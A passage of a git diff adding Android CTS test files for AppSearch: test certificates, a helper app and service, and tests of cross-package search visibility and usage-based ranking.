+MIIDLTCCAhWgAwIBAgIUWR4Bm55jx9m8xVquUIZyl9fcmmMwDQYJKoZIhvcNAQEL
+BQAwJjEkMCIGA1UEAwwbY3RzLWFwcHNlYXJjaC1oZWxwZXItY2VydC1hMB4XDTIx
+MDIwMzE5MzU1M1oXDTQ4MDYyMTE5MzU1M1owJjEkMCIGA1UEAwwbY3RzLWFwcHNl
+YXJjaC1oZWxwZXItY2VydC1hMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
+AQEAqn76IEzF5Re/1alN5gqZj7WEbRjiJIFd9Pfab+eriLCBoRqa57e9TArls1Ww
+6wwFTEJOtStx5h6Zb3OwrrlYjtEEEJz+jE1V5ykX3qVpAbfEd+TOAcKTzZpxwwN7
+mu3o1IhCR53PAddnlAun3kclkmZDa7O3YWDrpHnVE+JKZt5GTboony+PPYFlzPlE
+caJKnTRSAla3zqzUrcP8rgWiXoeELyKBU+tVJV8zHPvz5Q2ibHls2Gwooju/Nt44
+t84JbRjQleKbvdZIEi3syTeT24SbbxXnH3E9rN8IDhZXIUSpePHUkz/1j9yMDBtG
+RWXm6k5+zywd1Dr+RSsIc/y/OQIDAQABo1MwUTAdBgNVHQ4EFgQU0kzkxzvTV4Z8
+ol9pyajjWPHs/qgwHwYDVR0jBBgwFoAU0kzkxzvTV4Z8ol9pyajjWPHs/qgwDwYD
+VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEARYIMj0IFu1vL7/curpbR
+OBvrSkzfutH339a9YQ4u3EGCLtFpkkAKuNFz5O0J2JpS2zih22OnwhDnbY3UtMxq
+70Di+F4cw3UvfhD5JxDSg5OwQgRAr0wE9Lv4SROpf3S734mpFX32b+xu4W9ydAXT
+eSLHLTwA+xXVZxlgbLYylzPYWAB+5+CJAiPn2eUSw3y5bBw19O8eOmEr4OaK6d/w
+sV1u62x6PMr5T3leBBEAem4co1wh4jrsUiL4ruL+S3zWhNm77bQQalB0G638vEpy
+SfzCWoHBvJO1OF9AOqq2XkCcTLK1kFeiTOquvGojKIPDBkKMY/Yf0nezYkuaoAhT
+Rg==
+-----END CERTIFICATE-----
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-b.pk8 b/tests/appsearch/certs/cts-appsearch-helper-cert-b.pk8
new file mode 100644
index 0000000..83f553e
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-b.pk8
Binary files differ
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-b.x509.pem b/tests/appsearch/certs/cts-appsearch-helper-cert-b.x509.pem
new file mode 100644
index 0000000..2567170
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-b.x509.pem
@@ -0,0 +1,20 @@
+-----BEGIN CERTIFICATE-----
+MIIDLTCCAhWgAwIBAgIUal+e58aSD0qxRsffLswdbrgxQ+swDQYJKoZIhvcNAQEL
+BQAwJjEkMCIGA1UEAwwbY3RzLWFwcHNlYXJjaC1oZWxwZXItY2VydC1iMB4XDTIx
+MDIwMzE5MzU1OVoXDTQ4MDYyMTE5MzU1OVowJjEkMCIGA1UEAwwbY3RzLWFwcHNl
+YXJjaC1oZWxwZXItY2VydC1iMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
+AQEAzKdRfZ/GHJ1dFhKifdRidbAzSzKMuAQ8G+1jUyu5zXLSN3T/eCHMU9H0I0cR
+NApTyLLtKVrZZ243AoSNFtjIGKIhARt07PNGnUD3lHoTIXKN6QPRiV96CMvFyg7F
+s2GSzanhvxi8qWNEtTXBwQN4nJaUhwSsQw2hBx7oOIC9/x799+4pMHLdv1AUFID4
+t189EPIre8YxiKmzYH8ie/v8YswLM7A6oxEz/bbzHkugB4gBY58TjX4eR6oD4SXZ
+cbEBjB9FM9aCmAxaxXciKNpfWO2GDveId1w9QJkyFONkv6fYQdS+2J6uJja5SMo0
+RSV20BqQWZXtl4x6H0jR0iB2kwIDAQABo1MwUTAdBgNVHQ4EFgQUlzvVOsqHgTn4
+KcL7sz/pvEI/NgwwHwYDVR0jBBgwFoAUlzvVOsqHgTn4KcL7sz/pvEI/NgwwDwYD
+VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAqRdrVCG8t/fFG56AoUZg
+eV2wMFbbARR7uvtySvUOat3JiXjPpR04gul1/NyYFlo5+j7MwUoWtVYgJfzGd0/D
+JLit/gxfdVST088TSXyfoWdSgnA5b9w7g5OmyWd7xi9/A9XQp5Z3yf7ZE2Y0h8/5
+4kKmvpY1Kht70sRO6vE9fbhgjplbl+dhEu32mCkbMWYXguzh7UibTJPyRpxEI65s
+5Y/X8cJ6vYXyQ4DLPD1EJp3IgI7GGxRB3eeIE7GZdeSvaqmhaRpKpbD7jdwU4FTQ
+jYkG7ShNrangqf45HsYpUelHgO998xkt0/7DCH43yDRalhTR0sfkMJCZWOEogRRB
+tQ==
+-----END CERTIFICATE-----
diff --git a/tests/appsearch/helper-app/AndroidManifest.xml b/tests/appsearch/helper-app/AndroidManifest.xml
new file mode 100644
index 0000000..cab6e4a
--- /dev/null
+++ b/tests/appsearch/helper-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.appsearch.helper" >
+
+    <application android:debuggable="true">
+        <service android:name=".AppSearchTestService"
+                 android:exported="true"/>
+    </application>
+
+</manifest>
diff --git a/tests/appsearch/helper-app/src/com/android/cts/appsearch/helper/AppSearchTestService.java b/tests/appsearch/helper-app/src/com/android/cts/appsearch/helper/AppSearchTestService.java
new file mode 100644
index 0000000..efc9868
--- /dev/null
+++ b/tests/appsearch/helper-app/src/com/android/cts/appsearch/helper/AppSearchTestService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appsearch.helper;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import android.app.Service;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+import com.android.cts.appsearch.ICommandReceiver;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public class AppSearchTestService extends Service {
+
+    private static final String TAG = "AppSearchTestService";
+    private GlobalSearchSessionShim mGlobalSearchSession;
+
+    @Override
+    public void onCreate() {
+        try {
+            // We call this here so we can pass in a context. If we try to create the session in the
+            // stub, it'll try to grab the context from ApplicationProvider. But that will fail
+            // since this isn't instrumented.
+            mGlobalSearchSession =
+                    GlobalSearchSessionShimImpl.createGlobalSearchSession(this).get();
+        } catch (Exception e) {
+            Log.wtf(TAG, "Error starting service.", e);
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new CommandReceiver();
+    }
+
+    private class CommandReceiver extends ICommandReceiver.Stub {
+
+        @Override
+        public List<String> globalSearch(String queryExpression) {
+            try {
+                final SearchSpec searchSpec =
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build();
+                SearchResultsShim searchResults =
+                        mGlobalSearchSession.search(queryExpression, searchSpec);
+                List<GenericDocument> results = convertSearchResultsToDocuments(searchResults);
+
+                List<String> resultStrings = new ArrayList<>();
+                for (GenericDocument doc : results) {
+                    resultStrings.add(doc.toString());
+                }
+
+                return resultStrings;
+            } catch (Exception e) {
+                Log.wtf(TAG, "Error issuing global search.", e);
+                return Collections.emptyList();
+            }
+        }
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
new file mode 100644
index 0000000..916375b
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+public class AppSearchSchemaMigrationCtsTest extends AppSearchSchemaMigrationCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder(dbName).build());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
new file mode 100644
index 0000000..54c867d
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.util.concurrent.ExecutorService;
+
+public class AppSearchSessionCtsTest extends AppSearchSessionCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder(dbName).build());
+    }
+
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName, @NonNull ExecutorService executor) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder(dbName).build(), executor);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
new file mode 100644
index 0000000..7df7a51
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GlobalSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+public class GlobalSearchSessionCtsTest extends GlobalSearchSessionCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder(dbName).build());
+    }
+
+    @Override
+    protected ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession() {
+        return GlobalSearchSessionShimImpl.createGlobalSearchSession();
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
new file mode 100644
index 0000000..e9e68b1
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionPlatformCtsTest.java
@@ -0,0 +1,456 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.PackageIdentifier;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.ReportSystemUsageRequest;
+import android.app.appsearch.ReportUsageRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.cts.appsearch.ICommandReceiver;
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import com.google.common.io.BaseEncoding;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This doesn't extend the {@link android.app.appsearch.cts.GlobalSearchSessionCtsTestBase} since
+ * these test cases can't be run in a non-platform environment.
+ */
+@AppModeFull(reason = "Can't bind to helper apps from instant mode")
+public class GlobalSearchSessionPlatformCtsTest {
+
+    private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
+
+    private static final String TAG = "GlobalSearchSessionPlatformCtsTest";
+
+    private static final String PKG_A = "com.android.cts.appsearch.helper.a";
+
+    // To generate, run `apksigner` on the build APK. e.g.
+    //   ./apksigner verify --print-certs \
+    //   ~/sc-dev/out/soong/.intermediates/cts/tests/appsearch/CtsAppSearchTestHelperA/\
+    //   android_common/CtsAppSearchTestHelperA.apk`
+    // to get the SHA-256 digest. All characters need to be uppercase.
+    //
+    // Note: May need to switch the "sdk_version" of the test app from "test_current" to "30" before
+    // building the apk and running apksigner
+    private static final byte[] PKG_A_CERT_SHA256 =
+            BaseEncoding.base16()
+                    .decode("A90B80BD307B71BB4029674C5C4FE18066994E352EAC933B7B68266210CAFB53");
+
+    private static final String PKG_B = "com.android.cts.appsearch.helper.b";
+
+    // To generate, run `apksigner` on the build APK. e.g.
+    //   ./apksigner verify --print-certs \
+    //   ~/sc-dev/out/soong/.intermediates/cts/tests/appsearch/CtsAppSearchTestHelperB/\
+    //   android_common/CtsAppSearchTestHelperB.apk`
+    // to get the SHA-256 digest. All characters need to be uppercase.
+    //
+    // Note: May need to switch the "sdk_version" of the test app from "test_current" to "30" before
+    // building the apk and running apksigner
+    private static final byte[] PKG_B_CERT_SHA256 =
+            BaseEncoding.base16()
+                    .decode("88C0B41A31943D13226C3F22A86A6B4F300315575A6BC533CBF16C4EF3CFAA37");
+
+    private static final String HELPER_SERVICE =
+            "com.android.cts.appsearch.helper.AppSearchTestService";
+
+    private static final String TEXT = "foo";
+
+    private static final AppSearchEmail EMAIL_DOCUMENT =
+            new AppSearchEmail.Builder("namespace", "uri1")
+                    .setFrom("from@example.com")
+                    .setTo("to1@example.com", "to2@example.com")
+                    .setSubject(TEXT)
+                    .setBody("this is the body of the email")
+                    .build();
+
+    private static final String DB_NAME = "";
+
+    private AppSearchSessionShim mDb;
+
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mDb = AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder(DB_NAME).build()).get();
+        cleanup();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testNoPackageAccess_default() throws Exception {
+        mDb.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        // No package has access by default
+        assertPackageCannotAccess(PKG_A);
+        assertPackageCannotAccess(PKG_B);
+    }
+
+    @Test
+    public void testNoPackageAccess_wrongPackageName() throws Exception {
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(
+                                                "some.other.package", PKG_A_CERT_SHA256))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCannotAccess(PKG_A);
+    }
+
+    @Test
+    public void testNoPackageAccess_wrongCertificate() throws Exception {
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, new byte[] {10}))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCannotAccess(PKG_A);
+    }
+
+    @Test
+    public void testAllowPackageAccess() throws Exception {
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_A);
+        assertPackageCannotAccess(PKG_B);
+    }
+
+    @Test
+    public void testAllowMultiplePackageAccess() throws Exception {
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_B, PKG_B_CERT_SHA256))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_A);
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_B);
+    }
+
+    @Test
+    public void testNoPackageAccess_revoked() throws Exception {
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ true,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+        assertPackageCanAccess(EMAIL_DOCUMENT, PKG_A);
+
+        // Set the schema again, but package access as false.
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ false,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+        assertPackageCannotAccess(PKG_A);
+
+        // Set the schema again, but with default (i.e. no) access
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .setSchemaTypeVisibilityForPackage(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        /*visible=*/ false,
+                                        new PackageIdentifier(PKG_A, PKG_A_CERT_SHA256))
+                                .build())
+                .get();
+        checkIsBatchResultSuccess(
+                mDb.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(EMAIL_DOCUMENT)
+                                .build()));
+        assertPackageCannotAccess(PKG_A);
+    }
+
+    @Test
+    public void testReportSystemUsage() throws Exception {
+        // Insert schema
+        mDb.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Insert two docs
+        GenericDocument document1 = new GenericDocument.Builder<>(
+                "namespace", "uri1", AppSearchEmail.SCHEMA_TYPE).build();
+        GenericDocument document2 = new GenericDocument.Builder<>(
+                "namespace", "uri2", AppSearchEmail.SCHEMA_TYPE).build();
+        mDb.put(new PutDocumentsRequest.Builder()
+                .addGenericDocuments(document1, document2).build()).get();
+
+        // Report some usages. uri1 has 2 app and 1 system usage, uri2 has 1 app and 2 system usage.
+        try (GlobalSearchSessionShim globalSearchSession
+                     = GlobalSearchSessionShimImpl.createGlobalSearchSession().get()) {
+            mDb.reportUsage(new ReportUsageRequest.Builder("namespace")
+                    .setUri("uri1")
+                    .setUsageTimeMillis(10)
+                    .build()).get();
+            mDb.reportUsage(new ReportUsageRequest.Builder("namespace")
+                    .setUri("uri1")
+                    .setUsageTimeMillis(20)
+                    .build()).get();
+            globalSearchSession.reportSystemUsage(
+                    new ReportSystemUsageRequest.Builder(
+                            mContext.getPackageName(), DB_NAME, "namespace")
+                            .setUri("uri1")
+                            .setUsageTimeMillis(1000)
+                            .build()).get();
+
+            mDb.reportUsage(new ReportUsageRequest.Builder("namespace")
+                    .setUri("uri2")
+                    .setUsageTimeMillis(100)
+                    .build()).get();
+            globalSearchSession.reportSystemUsage(
+                    new ReportSystemUsageRequest.Builder(
+                            mContext.getPackageName(), DB_NAME, "namespace")
+                            .setUri("uri2")
+                            .setUsageTimeMillis(200)
+                            .build()).get();
+            globalSearchSession.reportSystemUsage(
+                    new ReportSystemUsageRequest.Builder(
+                            mContext.getPackageName(), DB_NAME, "namespace")
+                            .setUri("uri2")
+                            .setUsageTimeMillis(150)
+                            .build()).get();
+
+            // Sort by app usage count: uri1 should win
+            try (SearchResultsShim results = mDb.search("", new SearchSpec.Builder()
+                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                    .setRankingStrategy(SearchSpec.RANKING_STRATEGY_USAGE_COUNT)
+                    .build())) {
+                List<SearchResult> page = results.getNextPage().get();
+                assertThat(page).hasSize(2);
+                assertThat(page.get(0).getGenericDocument().getUri()).isEqualTo("uri1");
+                assertThat(page.get(1).getGenericDocument().getUri()).isEqualTo("uri2");
+            }
+
+            // Sort by app usage timestamp: uri2 should win
+            try (SearchResultsShim results = mDb.search("", new SearchSpec.Builder()
+                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                    .setRankingStrategy(SearchSpec.RANKING_STRATEGY_USAGE_LAST_USED_TIMESTAMP)
+                    .build())) {
+                List<SearchResult> page = results.getNextPage().get();
+                assertThat(page).hasSize(2);
+                assertThat(page.get(0).getGenericDocument().getUri()).isEqualTo("uri2");
+                assertThat(page.get(1).getGenericDocument().getUri()).isEqualTo("uri1");
+            }
+
+            // Sort by system usage count: uri2 should win
+            try (SearchResultsShim results = mDb.search("", new SearchSpec.Builder()
+                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                    .setRankingStrategy(SearchSpec.RANKING_STRATEGY_SYSTEM_USAGE_COUNT)
+                    .build())) {
+                List<SearchResult> page = results.getNextPage().get();
+                assertThat(page).hasSize(2);
+                assertThat(page.get(0).getGenericDocument().getUri()).isEqualTo("uri2");
+                assertThat(page.get(1).getGenericDocument().getUri()).isEqualTo("uri1");
+            }
+
+            // Sort by system usage timestamp: uri1 should win
+            try (SearchResultsShim results = mDb.search("", new SearchSpec.Builder()
+                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                    .setRankingStrategy(
+                            SearchSpec.RANKING_STRATEGY_SYSTEM_USAGE_LAST_USED_TIMESTAMP)
+                    .build())) {
+                List<SearchResult> page = results.getNextPage().get();
+                assertThat(page).hasSize(2);
+                assertThat(page.get(0).getGenericDocument().getUri()).isEqualTo("uri1");
+                assertThat(page.get(1).getGenericDocument().getUri()).isEqualTo("uri2");
+            }
+        }
+    }
+
+    private void assertPackageCannotAccess(String pkg) throws Exception {
+        final GlobalSearchSessionPlatformCtsTest.TestServiceConnection serviceConnection =
+                bindToHelperService(pkg);
+        try {
+            final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
+            List<String> results = commandReceiver.globalSearch(TEXT);
+            assertThat(results).isEmpty();
+        } finally {
+            serviceConnection.unbind();
+        }
+    }
+
+    private void assertPackageCanAccess(GenericDocument expectedDocument, String pkg)
+            throws Exception {
+        final GlobalSearchSessionPlatformCtsTest.TestServiceConnection serviceConnection =
+                bindToHelperService(pkg);
+        try {
+            final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
+            List<String> results = commandReceiver.globalSearch(TEXT);
+            assertThat(results).containsExactly(expectedDocument.toString());
+        } finally {
+            serviceConnection.unbind();
+        }
+    }
+
+    private GlobalSearchSessionPlatformCtsTest.TestServiceConnection bindToHelperService(
+            String pkg) {
+        final GlobalSearchSessionPlatformCtsTest.TestServiceConnection serviceConnection =
+                new GlobalSearchSessionPlatformCtsTest.TestServiceConnection(mContext);
+        final Intent intent = new Intent().setComponent(new ComponentName(pkg, HELPER_SERVICE));
+        mContext.bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
+        return serviceConnection;
+    }
+
+    private class TestServiceConnection implements ServiceConnection {
+        private final Context mContext;
+        private final BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
+        private ICommandReceiver mCommandReceiver;
+
+        TestServiceConnection(Context context) {
+            mContext = context;
+        }
+
+        public void onServiceConnected(ComponentName componentName, IBinder service) {
+            Log.i(TAG, "Service got connected: " + componentName);
+            mBlockingQueue.offer(service);
+        }
+
+        public void onServiceDisconnected(ComponentName componentName) {
+            Log.e(TAG, "Service got disconnected: " + componentName);
+        }
+
+        private IBinder getService() throws Exception {
+            final IBinder service = mBlockingQueue.poll(TIMEOUT_BIND_SERVICE_SEC, TimeUnit.SECONDS);
+            return service;
+        }
+
